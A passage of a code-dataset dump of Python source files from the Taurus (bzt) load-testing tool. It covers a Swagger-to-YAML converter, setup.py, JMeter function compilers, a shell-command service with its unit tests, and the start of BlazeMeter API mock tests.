query_dict):\n self.log.debug(\"Query dict: %s\", query_dict)\n parts = parse.urlparse(path)\n query = urlencode(query_dict)\n replaced = parts._replace(query=query)\n return parse.urlunparse(replaced)\n\n def _extract_request(self, path, path_obj, method, operation):\n request = {}\n\n if method != \"get\":\n request[\"method\"] = method.upper()\n\n if operation.operation_id is not None:\n request[\"label\"] = operation.operation_id\n\n parameters = BetterDict()\n if path_obj.parameters:\n parameters.merge(path_obj.parameters)\n if operation.parameters:\n parameters.merge(operation.parameters)\n\n query_params, form_data, request_body, headers = self._handle_parameters(parameters)\n\n if headers:\n request[\"headers\"] = headers\n\n if form_data and request_body:\n self.log.warning(\"Both form data and request body are specified. Omitting form data\")\n\n if request_body:\n request[\"body\"] = request_body\n elif form_data:\n request[\"body\"] = form_data\n\n if query_params:\n url = self._embed_query_in_path(path, query_params)\n else:\n url = path\n\n request[\"url\"] = url\n\n return request\n\n def _extract_requests_from_paths(self, paths, scenario_name, default_address, global_security):\n base_path = self.swagger.get_base_path()\n requests = []\n scenario = {\n \"default-address\": \"${default-address}\",\n \"variables\": {},\n }\n global_vars = {\n \"default-address\": default_address,\n }\n if base_path:\n global_vars[\"default-path\"] = base_path\n\n if global_security:\n self._add_global_security(scenario, global_security, global_vars)\n\n for path, path_obj in iteritems(paths):\n self.log.debug(\"Handling path %s\", path)\n for method in Swagger.METHODS:\n operation = getattr(path_obj, method)\n if operation is not None:\n self.log.debug(\"Handling method %s\", method.upper())\n if base_path:\n route = \"${default-path}\" + path\n else:\n route = path\n request = self._extract_request(route, path_obj, method, operation)\n # TODO: Swagger responses -> JMeter assertions?\n\n if request is not None:\n if operation.security:\n self._add_local_security(request, operation.security, scenario)\n elif global_security:\n self._add_local_security(request, global_security, scenario, disable_basic=True)\n\n requests.append(request)\n\n if not scenario[\"variables\"]:\n scenario.pop(\"variables\")\n scenario[\"requests\"] = requests\n\n config = {\n \"scenarios\": {\n scenario_name: scenario\n },\n \"execution\": [{\n \"concurrency\": 1,\n \"scenario\": scenario_name,\n \"hold-for\": \"1m\",\n }]\n }\n if global_vars:\n config[\"settings\"] = {\"env\": global_vars}\n return config\n\n def _extract_scenarios_from_paths(self, paths, default_address, global_security):\n base_path = self.swagger.get_base_path()\n scenarios = OrderedDict()\n global_vars = {\n \"default-address\": default_address\n }\n if base_path:\n global_vars[\"default-path\"] = base_path\n\n for path, path_obj in iteritems(paths):\n self.log.info(\"Handling path %s\", path)\n\n scenario_name = path\n scenario = {\n \"default-address\": \"${default-address}\",\n \"variables\": {},\n }\n\n if base_path:\n route = \"${default-path}\" + path\n else:\n route = path\n\n requests = []\n for method in Swagger.METHODS:\n operation = getattr(path_obj, method)\n if operation is not None:\n self.log.debug(\"Handling method %s\", method.upper())\n request = self._extract_request(route, path_obj, method, operation)\n\n if operation.security:\n self._add_local_security(request, operation.security, scenario)\n elif global_security:\n self._add_local_security(request, global_security, scenario)\n\n requests.append(request)\n # TODO: Swagger responses -> assertions?\n\n if not requests:\n continue\n\n scenario[\"requests\"] = requests\n\n if global_security:\n self._add_global_security(scenario, global_security, global_vars)\n\n if not scenario[\"variables\"]:\n scenario.pop(\"variables\")\n\n scenarios[scenario_name] = scenario\n\n config = {\n \"scenarios\": scenarios,\n \"execution\": [{\n \"concurrency\": 1,\n \"scenario\": scenario_name,\n \"hold-for\": \"1m\",\n } for scenario_name, scenario in iteritems(scenarios)]\n }\n if global_vars:\n config[\"settings\"] = {\"env\": global_vars}\n return config\n\n def _insert_global_basic_auth(self, scenario, global_vars):\n headers = scenario.get('headers', {})\n\n headers['Authorization'] = 'Basic ${__base64Encode(${auth})}'\n global_vars['auth'] = 'USER:PASSWORD'\n\n scenario['headers'] = headers\n\n def _insert_local_basic_auth(self, request, scenario):\n headers = request.get('headers', {})\n variables = scenario.get('variables', {})\n\n headers['Authorization'] = 'Basic ${__base64Encode(${auth})}'\n variables['auth'] = 'USER:PASSWORD'\n\n request['headers'] = headers\n scenario['variables'] = variables\n\n def _insert_global_apikey_auth(self, scenario, sec_name, param_name, location, global_vars):\n # location == 'query' is deliberately ignored\n if location == 'header':\n header_name = sec_name\n var_name = param_name\n\n headers = scenario.get('headers', {})\n\n headers[header_name] = '${' + var_name + '}'\n global_vars[var_name] = 'TOKEN'\n\n scenario['headers'] = headers\n\n def _insert_local_apikey_auth(self, request, scenario, sec_name, param_name, location):\n # location == 'header' is deliberately ignored\n if location == 'query':\n query_name = sec_name\n var_name = param_name\n\n body = request.get('body', {})\n variables = scenario.get('variables', {})\n\n body[query_name] = '${' + var_name + '}'\n variables[var_name] = 'TOKEN'\n\n request['body'] = body\n scenario['variables'] = variables\n\n def _add_global_security(self, scenario, global_security, global_vars):\n if not global_security:\n return\n\n security = global_security[0]\n for sec_name, _ in iteritems(security):\n secdef = self.swagger.security_defs.get(sec_name)\n if not secdef:\n self.log.warning(\"Security definition %r not found, skipping\" % sec_name)\n continue\n\n if secdef.type == 'basic':\n self._insert_global_basic_auth(scenario, global_vars)\n elif secdef.type == 'apiKey':\n if secdef.name is None:\n self.log.warning(\"apiKey security definition has no header name, skipping\")\n continue\n if secdef.location is None:\n self.log.warning(\"apiKey location (`in`) is not given, assuming header\")\n secdef.location = 'header'\n\n self._insert_global_apikey_auth(scenario, secdef.name, sec_name, secdef.location, global_vars)\n\n elif secdef.type == 'oauth2':\n self.log.warning(\"OAuth2 security is not yet supported, skipping\")\n continue\n\n def _add_local_security(self, request, securities, scenario, disable_basic=False):\n if not securities:\n return # TODO: disable global security for request\n\n security = securities[0]\n for sec_name, _ in iteritems(security):\n secdef = self.swagger.security_defs.get(sec_name)\n if not secdef:\n self.log.warning(\"Security definition %r not found, skipping\" % sec_name)\n continue\n\n if secdef.type == 'basic':\n if not disable_basic:\n self._insert_local_basic_auth(request, scenario)\n elif secdef.type == 'apiKey':\n if secdef.name is None:\n self.log.warning(\"apiKey security definition has no header name, skipping\")\n continue\n if secdef.location is None:\n self.log.warning(\"apiKey location (`in`) is not given, assuming header\")\n secdef.location = 'header'\n\n self._insert_local_apikey_auth(request, scenario, secdef.name, sec_name, secdef.location)\n\n elif secdef.type == 'oauth2':\n self.log.warning(\"OAuth2 security is not yet supported, skipping\")\n continue\n\n @staticmethod\n def join_base_with_endpoint_url(*path):\n return '/'.join(s.strip('/') for s in (('',) + path))\n\n def convert_path(self, swagger_path):\n if not os.path.exists(swagger_path):\n raise ValueError(\"Swagger file %s doesn't exist\" % swagger_path)\n with open(swagger_path) as swagger_fd:\n return self.convert(swagger_fd)\n\n def convert(self, swagger_fd):\n self.swagger.parse(swagger_fd)\n info = self.swagger.get_info()\n title = info.get(\"title\", \"Swagger\")\n host = self.swagger.get_host()\n paths = self.swagger.get_interpolated_paths(self.parameter_interpolation)\n schemes = self.swagger.swagger.get(\"schemes\", [\"http\"])\n scheme = schemes[0]\n security = self.swagger.swagger.get(\"security\", [])\n default_address = scheme + \"://\" + host\n scenario_name = title.replace(' ', '-')\n if self.scenarios_from_paths:\n config = self._extract_scenarios_from_paths(paths, default_address, security)\n else:\n config = self._extract_requests_from_paths(paths, scenario_name, default_address, security)\n return config\n\n\nclass Swagger2YAML(object):\n def __init__(self, options, file_name):\n self.log = logging.getLogger(self.__class__.__name__)\n self.options = options\n self.setup_logging()\n self.converter = None\n self.file_to_convert = file_name\n\n def setup_logging(self):\n CLI.setup_logging(self.options)\n if self.options.quiet:\n logging.disable(logging.WARNING)\n\n def process(self):\n output_format = Configuration.JSON if self.options.json else Configuration.YAML\n\n self.log.info('Loading Swagger spec %s', self.file_to_convert)\n self.file_to_convert = os.path.abspath(os.path.expanduser(self.file_to_convert))\n if not os.path.exists(self.file_to_convert):\n raise TaurusInternalException(\"File does not exist: %s\" % self.file_to_convert)\n self.converter = SwaggerConverter(\n self.log,\n scenarios_from_paths=self.options.scenarios_from_paths,\n parameter_interpolation=self.options.parameter_interpolation,\n )\n try:\n converted_config = self.converter.convert_path(self.file_to_convert)\n except BaseException:\n self.log.error(\"Error while processing Swagger spec: %s\", self.file_to_convert)\n raise\n\n exporter = Configuration.from_dict(converted_config)\n\n if self.options.file_name:\n file_name = self.options.file_name\n else:\n file_name = self.file_to_convert + \".\" + output_format.lower()\n\n exporter.dump(file_name, output_format)\n\n self.log.info(\"Done processing, result saved in %s\", file_name)\n\n\ndef process(parsed_options, args):\n tool = Swagger2YAML(parsed_options, args[0])\n tool.process()\n\n\ndef main():\n usage = \"Usage: swagger2yaml [input Swagger spec] [options]\"\n parser = OptionParser(usage=usage, prog=\"swagger2yaml\")\n parser.add_option('-v', '--verbose', action='store_true', default=False,\n help=\"Prints all logging messages to console\")\n parser.add_option('-o', '--out', dest=\"file_name\",\n help=\"Set output .yml file name, by default input file name + .yml is used\")\n parser.add_option('-q', '--quiet', action='store_true', default=False, dest='quiet',\n help=\"Do not display any log messages\")\n parser.add_option('-j', '--json', action='store_true', default=False, dest='json',\n help=\"Use JSON format for results\")\n parser.add_option('-l', '--log', action='store', default=False, help=\"Log file location\")\n parser.add_option('--scenarios-from-paths', action='store_true', default=False,\n help=\"Generate one scenario per path (disabled by default)\")\n parser.add_option('--parameter-interpolation', action='store', default='values',\n help=\"Templated parameters interpolation. Valid values are 'variables', 'values', 'none'\")\n parsed_options, args = parser.parse_args()\n if len(args) > 0:\n try:\n process(parsed_options, args)\n except BaseException as exc:\n logging.error(\"Exception during conversion: %s: %s\", type(exc).__name__, str(exc))\n if not parsed_options.verbose:\n logging.error(\"Rerun with --verbose to see the stack trace\")\n logging.debug(\"Exception: %s\", traceback.format_exc())\n sys.exit(1)\n sys.exit(0)\n else:\n sys.stdout.write(usage + \"\\n\")\n\n\nif __name__ == \"__main__\":\n main()\n", "id": "6887159", "language": "Python", "matching_score": 2.444305181503296, "max_stars_count": 1, "path": "bzt/swagger2yaml.py" }, { "content": "\"\"\"\nCopyright 2015 BlazeMeter Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nfrom setuptools import setup\nfrom distutils.version import LooseVersion\n\n# noinspection PyPackageRequirements\nimport pip\n\nimport bzt\n\n\n# thanks to pip there are two :incompatible ways to parse requirements.txt\nif hasattr(pip, '__version__') and LooseVersion(str(pip.__version__)) >= LooseVersion('10.0.0'):\n # new versions of pip require a session\n from pip._internal import req, download\n requirements = req.parse_requirements('requirements.txt', session=download.PipSession())\nelif hasattr(pip, '__version__') and LooseVersion(str(pip.__version__)) >= LooseVersion('7.0'):\n # new versions of pip require a session\n requirements = pip.req.parse_requirements('requirements.txt', session=pip.download.PipSession())\nelse:\n # old versions do not\n requirements = pip.req.parse_requirements('requirements.txt')\n\nrequires = [str(item.req) for item in requirements]\n\nsetup(\n name=\"bzt\",\n version=bzt.VERSION,\n description='Taurus Tool for Continuous Testing',\n long_description=open('README.md').read(),\n long_description_content_type='text/markdown',\n author='<NAME>',\n author_email='<EMAIL>',\n url='http://gettaurus.org/',\n download_url='http://gettaurus.org/docs/DeveloperGuide/#Python-Egg-Snapshots',\n license='Apache 2.0',\n platform='any',\n docs_url='http://gettaurus.org/docs/',\n install_requires=requires,\n packages=['bzt', 'bzt.six', 'bzt.jmx', 'bzt.modules', 'bzt.modules.java', 'bzt.modules.python', 'bzt.resources'],\n entry_points={\n 'console_scripts': [\n 'bzt=bzt.cli:main',\n 'jmx2yaml=bzt.jmx2yaml:main',\n 'soapui2yaml=bzt.soapui2yaml:main',\n 'swagger2yaml=bzt.swagger2yaml:main',\n ],\n },\n include_package_data=True,\n package_data={\n \"bzt\": [],\n },\n\n classifiers=[\n 'Development Status :: 5 - Production/Stable',\n\n 'Topic :: Software Development :: Quality Assurance',\n 'Topic :: Software Development :: Testing',\n 'Topic :: Software Development :: Testing :: Traffic Generation',\n\n 'License :: OSI Approved :: Apache Software License',\n\n 'Operating System :: Microsoft :: Windows',\n 'Operating System :: MacOS',\n 'Operating System :: POSIX :: Linux',\n\n 'Programming Language :: Python :: 2',\n 'Programming Language :: Python :: 2.7',\n 'Programming Language :: Python :: 3',\n 'Programming Language :: Python :: 3.3',\n 'Programming Language :: Python :: 3.4',\n 'Programming Language :: Python :: 3.5',\n ],\n)\n", "id": "11524441", "language": "Python", "matching_score": 0.25436949729919434, "max_stars_count": 1, "path": "setup.py" }, { "content": "\"\"\"\nCopyright 2018 BlazeMeter Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\n\nimport ast\nfrom abc import abstractmethod\n\n\nclass JMeterFunction(object):\n def __init__(self, arg_names, compiler):\n self.arg_names = arg_names\n self.compiler = compiler\n\n def to_python(self, arguments):\n \"\"\"arguments -> (expression, stmts)\"\"\"\n args = dict(zip(self.arg_names, arguments))\n return self._compile(args)\n\n @abstractmethod\n def _compile(self, args):\n pass\n\n\nclass RandomFunction(JMeterFunction):\n def __init__(self, compiler):\n super(RandomFunction, self).__init__([\"min\", \"max\", \"varname\"], compiler)\n\n def _compile(self, args):\n if args.get(\"min\") is None or args.get(\"max\") is None:\n return None\n\n # TODO: handle `varname` arg\n\n return ast.Call(\n func=ast.Attribute(\n value=ast.Name(id=\"apiritif\", ctx=ast.Load()),\n attr='random_uniform',\n ctx=ast.Load(),\n ),\n args=[self.compiler.gen_expr(int(args[\"min\"])), self.compiler.gen_expr(int(args[\"max\"]))],\n keywords=[],\n starargs=None,\n kwargs=None\n )\n\n\nclass RandomStringFunction(JMeterFunction):\n def __init__(self, compiler):\n super(RandomStringFunction, self).__init__([\"size\", \"chars\", \"varname\"], compiler)\n\n def _compile(self, args):\n if args.get(\"size\") is None:\n return None\n\n # TODO: handle `varname`\n\n size = int(args.get(\"size\"))\n arguments = [self.compiler.gen_expr(size)]\n if \"chars\" in args:\n arguments.append(self.compiler.gen_expr(args[\"chars\"]))\n\n return ast.Call(\n func=ast.Attribute(\n value=ast.Name(id=\"apiritif\", ctx=ast.Load()),\n attr='random_string',\n ctx=ast.Load(),\n ),\n args=arguments,\n keywords=[],\n starargs=None,\n kwargs=None\n )\n\n\nclass Base64DecodeFunction(JMeterFunction):\n def __init__(self, compiler):\n super(Base64DecodeFunction, self).__init__([\"text\"], compiler)\n\n def _compile(self, args):\n if args.get(\"text\") is None:\n return None\n\n return ast.Call(\n func=ast.Attribute(\n value=ast.Name(id=\"apiritif\", ctx=ast.Load()),\n attr='base64_decode',\n ctx=ast.Load(),\n ),\n args=[self.compiler.gen_expr(args[\"text\"])],\n keywords=[],\n starargs=None,\n kwargs=None\n )\n\n\nclass Base64EncodeFunction(JMeterFunction):\n def __init__(self, compiler):\n super(Base64EncodeFunction, self).__init__([\"text\"], compiler)\n\n def _compile(self, args):\n if args.get(\"text\") is None:\n return None\n\n return ast.Call(\n func=ast.Attribute(\n value=ast.Name(id=\"apiritif\", ctx=ast.Load()),\n attr='base64_encode',\n ctx=ast.Load(),\n ),\n args=[self.compiler.gen_expr(args[\"text\"])],\n keywords=[],\n starargs=None,\n kwargs=None\n )\n\n\nclass TimeFunction(JMeterFunction):\n def __init__(self, compiler):\n super(TimeFunction, self).__init__([\"format\", \"varname\"], compiler)\n\n def _compile(self, args):\n # TODO: handle varname\n arguments = []\n if \"format\" in args:\n arguments.append(self.compiler.gen_expr(args[\"format\"]))\n return ast.Call(\n func=ast.Attribute(\n value=ast.Name(id=\"apiritif\", ctx=ast.Load()),\n attr='format_date',\n ctx=ast.Load(),\n ),\n args=arguments,\n keywords=[],\n starargs=None,\n kwargs=None\n )\n\n\nclass UrlEncodeFunction(JMeterFunction):\n def __init__(self, compiler):\n super(UrlEncodeFunction, self).__init__([\"chars\"], compiler)\n\n def _compile(self, args):\n if \"chars\" not in args:\n return None\n return ast.Call(\n func=ast.Attribute(\n value=ast.Name(id=\"apiritif\", ctx=ast.Load()),\n attr='encode_url',\n ctx=ast.Load(),\n ),\n args=[self.compiler.gen_expr(args[\"chars\"])],\n keywords=[],\n starargs=None,\n kwargs=None\n )\n\n\nclass UuidFunction(JMeterFunction):\n def __init__(self, compiler):\n super(UuidFunction, self).__init__([], compiler)\n\n def _compile(self, args):\n return ast.Call(\n func=ast.Attribute(\n value=ast.Name(id=\"apiritif\", ctx=ast.Load()),\n attr='uuid',\n ctx=ast.Load(),\n ),\n args=[],\n keywords=[],\n starargs=None,\n kwargs=None\n )\n", "id": "816663", "language": "Python", "matching_score": 0.13962098956108093, "max_stars_count": 1, "path": "bzt/modules/python/jmeter_functions.py" }, { "content": "\"\"\"\nCopyright 2015 BlazeMeter Inc.\n\nLicensed under the Apache License, Version 2.0 (the \"License\");\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n http://www.apache.org/licenses/LICENSE-2.0\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n\"\"\"\nimport os\nimport subprocess\nfrom subprocess import CalledProcessError\n\nfrom bzt import TaurusConfigError\nfrom bzt.engine import Service\nfrom bzt.six import iteritems\nfrom bzt.utils import ensure_is_dict\nfrom bzt.utils import shutdown_process, BetterDict, is_windows\n\nARTIFACTS_DIR_ENVVAR = \"TAURUS_ARTIFACTS_DIR\"\n\n\nclass ShellExecutor(Service):\n def __init__(self):\n super(ShellExecutor, self).__init__()\n self.prepare_tasks = []\n self.startup_tasks = []\n self.check_tasks = []\n self.shutdown_tasks = []\n self.postprocess_tasks = []\n\n def _load_tasks(self, stage, container):\n if not isinstance(self.parameters.get(stage, []), list):\n self.parameters[stage] = [self.parameters[stage]]\n\n for index, stage_task in enumerate(self.parameters.get(stage, [])):\n stage_task = ensure_is_dict(self.parameters[stage], index, \"command\")\n task_config = self.parameters[stage][index]\n default_cwd = self.settings.get(\"default-cwd\", None)\n cwd = self.engine.find_file(task_config.get(\"cwd\", default_cwd))\n if cwd is None:\n working_dir = self.engine.default_cwd\n elif cwd == 'artifacts-dir':\n working_dir = self.engine.artifacts_dir\n else:\n working_dir = cwd\n\n # todo: move it to new env\n env = BetterDict.from_dict({k: os.environ.get(k) for k in os.environ.keys()})\n env.merge(self.settings.get('env'))\n env.merge(task_config.get('env'))\n env.merge({\"PYTHONPATH\": working_dir})\n if os.getenv(\"PYTHONPATH\"):\n env['PYTHONPATH'] = os.getenv(\"PYTHONPATH\") + os.pathsep + env['PYTHONPATH']\n env[ARTIFACTS_DIR_ENVVAR] = self.engine.artifacts_dir\n\n for name, value in iteritems(env):\n env[str(name)] = str(value)\n\n task = Task(task_config, self.log, working_dir, env)\n container.append(task)\n self.log.debug(\"Added %s task: %s\", stage, stage_task)\n\n def prepare(self):\n \"\"\"\n Configure Tasks\n :return:\n \"\"\"\n self._load_tasks('prepare', self.prepare_tasks)\n self._load_tasks('startup', self.startup_tasks)\n self._load_tasks('check', self.check_tasks)\n self._load_tasks('shutdown', self.shutdown_tasks)\n self._load_tasks('post-process', self.postprocess_tasks)\n\n for task in self.prepare_tasks:\n task.start()\n\n def startup(self):\n for task in self.startup_tasks:\n task.start()\n\n def check(self):\n for task in self.check_tasks:\n task.start()\n\n for task in self.prepare_tasks + self.startup_tasks + self.check_tasks:\n task.check()\n\n return super(ShellExecutor, self).check()\n\n def shutdown(self):\n for task in self.shutdown_tasks:\n task.start()\n\n for task in self.check_tasks + self.startup_tasks:\n task.shutdown()\n\n def post_process(self):\n for task in self.shutdown_tasks + self.check_tasks + self.startup_tasks + self.prepare_tasks:\n task.shutdown()\n\n for task in self.postprocess_tasks:\n task.start()\n task.shutdown()\n\n\nclass Task(object):\n \"\"\"\n :type process: subprocess.Popen\n \"\"\"\n def __init__(self, config, parent_log, working_dir, env):\n self.log = parent_log.getChild(self.__class__.__name__)\n self.working_dir = working_dir\n self.env = env\n\n self.command = config.get(\"command\", TaurusConfigError(\"Parameter is required: command\"))\n self.is_background = config.get(\"background\", False)\n self.ignore_failure = config.get(\"ignore-failure\", False)\n self.err = config.get(\"err\", subprocess.PIPE)\n self.out = config.get(\"out\", subprocess.PIPE)\n self.process = None\n self.ret_code = None\n\n def start(self):\n \"\"\"\n Start task\n \"\"\"\n if self.process:\n self.check()\n self.log.info(\"Process still running: %s\", self)\n return\n\n if self.out is not None and self.out != subprocess.PIPE:\n out = open(self.out, 'at')\n else:\n out = self.out\n\n if self.err is not None and self.err != subprocess.PIPE:\n err = open(self.err, 'at')\n else:\n err = self.err\n\n kwargs = {\n 'args': self.command,\n 'stdout': out,\n 'stderr': err,\n 'cwd': self.working_dir,\n 'env': self.env,\n 'shell': True\n }\n # FIXME: shouldn't we bother closing opened descriptors?\n if not is_windows():\n kwargs['preexec_fn'] = os.setpgrp\n kwargs['close_fds'] = True\n\n self.log.info(\"Starting shell command: %s\", self)\n self.process = subprocess.Popen(**kwargs)\n if self.is_background:\n self.log.debug(\"Task started, PID: %d\", self.process.pid)\n else:\n self.check(sync=True)\n\n def check(self, sync=False):\n if not self.process or self.ret_code is not None: # finished task\n return\n\n self.ret_code = self.process.poll()\n\n if self.ret_code is None and not sync:\n self.log.debug('Task: %s is not finished yet', self)\n return False\n\n stdout, stderr = self.process.communicate()\n self.ret_code = self.process.poll()\n\n if stdout and (self.out == subprocess.PIPE):\n self.log.debug(\"Output for %s:\\n%s\", self, stdout)\n\n if stderr and (self.err == subprocess.PIPE):\n self.log.warning(\"Errors for %s:\\n%s\", self, stderr)\n\n self.log.debug(\"Task was finished with exit code %s: %s\", self.ret_code, self)\n if not self.ignore_failure and self.ret_code != 0:\n if self.out != subprocess.PIPE:\n self.log.warning(\"Output for %s:\\n%s\", self, stdout)\n raise CalledProcessError(self.ret_code, self)\n return True\n\n def shutdown(self):\n \"\"\"\n If task was not completed, kill process, provide output\n else provide output\n :return:\n \"\"\"\n self.check()\n\n if self.process and self.ret_code is None:\n self.log.info(\"Background task was not completed, shutting it down: %s\", self)\n shutdown_process(self.process, self.log)\n\n self.process = None\n\n def __repr__(self):\n return self.command\n", "id": "132045", "language": "Python", "matching_score": 2.238630533218384, "max_stars_count": 0, "path": "bzt/modules/shellexec.py" }, { "content": "import os\nimport time\nimport tempfile\nfrom subprocess import CalledProcessError\n\nfrom bzt.engine import Service\nfrom bzt.modules.shellexec import ShellExecutor\nfrom bzt.utils import BetterDict, is_windows\nfrom tests import BZTestCase\nfrom tests.mocks import EngineEmul\n\n\nclass TaskTestCase(BZTestCase):\n def setUp(self):\n super(TaskTestCase, self).setUp()\n self.obj = ShellExecutor()\n self.obj.parameters = BetterDict()\n self.obj.engine = EngineEmul()\n self.obj.engine.config.merge({\"provisioning\": \"local\"})\n self.obj.engine.default_cwd = os.getcwd()\n self.sniff_log(self.obj.log)\n\n\nclass TestBlockingTasks(TaskTestCase):\n def test_task_prepare(self):\n self.obj.settings['env'] = {\"VAR\": 1}\n if is_windows():\n task = \"dir .. && cd ..\"\n else:\n task = \"ls .. && cd ..\"\n self.obj.parameters.merge({\"prepare\": [task]})\n self.obj.prepare()\n self.obj.startup()\n self.obj.shutdown()\n\n def test_long_buf(self):\n \"\"\" subprocess (tast) became blocked and blocks parent (shellexec)\n if exchange buffer (PIPE) is full because of wait() \"\"\"\n fd, file_name = tempfile.mkstemp()\n os.close(fd)\n if is_windows():\n task = \"type \"\n buf_len = 2 ** 10 * 4 # 4K\n else:\n task = \"tail \"\n buf_len = 2 ** 10 * 64 # 64K\n task += file_name\n buf = '*' * (buf_len + 1)\n with open(file_name, \"w+\") as _file:\n _file.write(buf)\n\n self.obj.parameters.merge({\"prepare\": [task]})\n self.obj.prepare()\n self.obj.startup()\n self.obj.shutdown()\n self.assertIn(buf, self.log_recorder.debug_buff.getvalue())\n\n def test_nonbackground_prepare(self):\n task = {\"command\": \"echo hello\", \"background\": True}\n task2 = 'sleep 1'\n self.obj.parameters.merge({\"prepare\": [task, task2]})\n try:\n self.obj.prepare()\n except ValueError:\n self.fail()\n\n def test_task_stop_on_fail(self):\n task = {\"command\": \"python -m nosuchmodule\", \"ignore-failure\": False}\n\n self.obj.parameters.merge({\"prepare\": [task]})\n try:\n self.obj.prepare()\n self.fail()\n except CalledProcessError:\n pass\n\n def test_print_out(self):\n task = {\"command\": \"pwd\", \"out\": None}\n self.obj.parameters.merge({\"prepare\": [task]})\n self.obj.prepare()\n\n\nclass TestNonBlockingTasks(TaskTestCase):\n def test_background_task_shutdown(self):\n task = {\"command\": \"sleep 10\", \"background\": True}\n self.obj.parameters.merge({\"prepare\": [task]})\n self.obj.prepare()\n self.obj.post_process()\n self.assertIn(\"Background task was not completed, shutting it down: sleep 10\",\n self.log_recorder.info_buff.getvalue())\n\n def test_background_task_completed(self):\n task = {\"command\": \"sleep 1\", \"background\": True}\n blocking_task = {\"command\": \"sleep 2\", \"background\": False}\n self.obj.parameters.merge({\"prepare\": [task, blocking_task]})\n self.obj.prepare()\n self.obj.post_process()\n self.assertIn(\"Task was finished with exit code 0: sleep 1\", self.log_recorder.debug_buff.getvalue())\n\n def test_background_task_output(self):\n task = {\"command\": \"echo hello\", \"background\": True}\n blocking_task = {\"command\": \"sleep 1\", \"background\": False}\n self.obj.parameters.merge({\"prepare\": [task, blocking_task]})\n self.obj.prepare()\n self.obj.check()\n self.obj.shutdown()\n self.assertIn(\"Output for echo hello:\\n\", self.log_recorder.debug_buff.getvalue())\n\n def test_background_task_stop_on_fail(self):\n task = {\"command\": \"python -m nosuchmodule\", \"background\": True, \"ignore-failure\": False}\n blocking_task = {\"command\": \"sleep 1\", \"block\": True}\n self.obj.parameters.merge({\"prepare\": [task, blocking_task]})\n try:\n self.obj.prepare()\n self.obj.post_process()\n self.fail()\n except CalledProcessError:\n pass\n\n def test_background_task_check_stage(self):\n task = {\"command\": \"sleep 5 && pwd\", \"background\": True}\n self.obj.parameters.merge({\"prepare\": [task]})\n self.obj.prepare()\n self.obj.startup()\n for _x in range(0, 3):\n self.obj.check()\n time.sleep(self.obj.engine.check_interval)\n self.obj.shutdown()\n self.obj.post_process()\n self.assertIn(\"Task: sleep 5 && pwd is not finished yet\", self.log_recorder.debug_buff.getvalue())\n\n\nclass TestTasksConfigs(TaskTestCase):\n def test_shell_exec(self):\n out_file = os.path.join(self.obj.engine.artifacts_dir, 'out.txt')\n err_file = os.path.join(self.obj.engine.artifacts_dir, 'err.txt')\n file1 = self.obj.engine.create_artifact('file_1.out', \"\")\n file2 = self.obj.engine.create_artifact('file_2.out', \"\")\n command = \"echo 1 > {file1} && sleep 1 && echo 2 > {file2}\"\n task = {\"command\": command.format(file1=file1, file2=file2), \"out\": out_file, \"err\": err_file}\n self.obj.parameters.merge({\"prepare\": [task]})\n self.obj.prepare()\n self.assertEqual(open(file1).read().strip(), '1')\n self.assertEqual(open(file2).read().strip(), '2')\n self.assertTrue(os.path.exists(out_file))\n self.assertTrue(os.path.exists(os.path.join(self.obj.engine.artifacts_dir, err_file)))\n\n def test_config(self):\n self.obj.engine.config.merge({'services': [\n {'startup': [{'command': 'sleep 10 && echo 111', 'background': True}],\n 'check': [{'command': 'dmesg | grep nvidia', 'ignore-failure': True}, 'pwd'], 'module': 'shellexec'}]})\n self.obj.parameters = self.obj.engine.config.get(Service.SERV)[0]\n self.obj.prepare()\n self.obj.startup()\n self.obj.check()\n self.obj.shutdown()\n", "id": "1359432", "language": "Python", "matching_score": 1.8185065984725952, "max_stars_count": 0, "path": "tests/modules/test_shellexec.py" }, { "content": "from bzt import TaurusNetworkError\nfrom tests import BZTestCase\n\nfrom bzt.bza import BZAObject, User\nfrom bzt.engine import ScenarioExecutor\nfrom bzt.modules.aggregator import ConsolidatingAggregator\nfrom bzt.modules.blazemeter import CloudProvisioning\nfrom tests.mocks import EngineEmul, ModuleMock, BZMock\n\n\nclass TestBZAObject(BZTestCase):\n def test_ping(self):\n obj = User()\n obj.ping()\n\n def test_request(self):\n obj = BZAObject()\n try:\n obj._request('https://a.blazemeter.com/api/v4/web/version', data={\"test\": 1})\n self.fail()\n except TaurusNetworkError:\n pass\n\n\nclass TestCloudProvisioningOld(BZTestCase):\n def test_case1(self):\n mock = BZMock()\n\n mock.mock_get.update({\n 'https://a.blazemeter.com/api/v4/multi-tests?projectId=1&name=Taurus+Cloud+Test': {\"result\": []},\n 'https://a.blazemeter.com/api/v4/tests?projectId=1&name=Taurus+Cloud+Test': {\"result\": []},\n 'https://a.blazemeter.com/api/v4/masters/1/multi-tests': {\"result\": []},\n 'https://a.blazemeter.com/api/v4/masters/1/sessions': {\"result\": {\"sessions\": []}},\n 'https://a.blazemeter.com/api/v4/masters/1/full': {\"result\": {\"sessions\": []}},\n 'https://a.blazemeter.com/api/v4/masters/1': {\"result\": {\"note\": \"message\"}},\n 'https://a.blazemeter.com/api/v4/masters/1/status': [\n {\"result\": {\"id\": 1, \"status\": \"CREATE\"}},\n {\"result\": {\"id\": 1, \"status\": \"ENDED\", \"progress\": 101}}\n ],\n })\n\n mock.mock_post = {\n 'https://a.blazemeter.com/api/v4/projects': {\"result\": {\"id\": 1, \"workspaceId\": 1}},\n 'https://a.blazemeter.com/api/v4/tests': {\"result\": {\"id\": 1, \"configuration\": 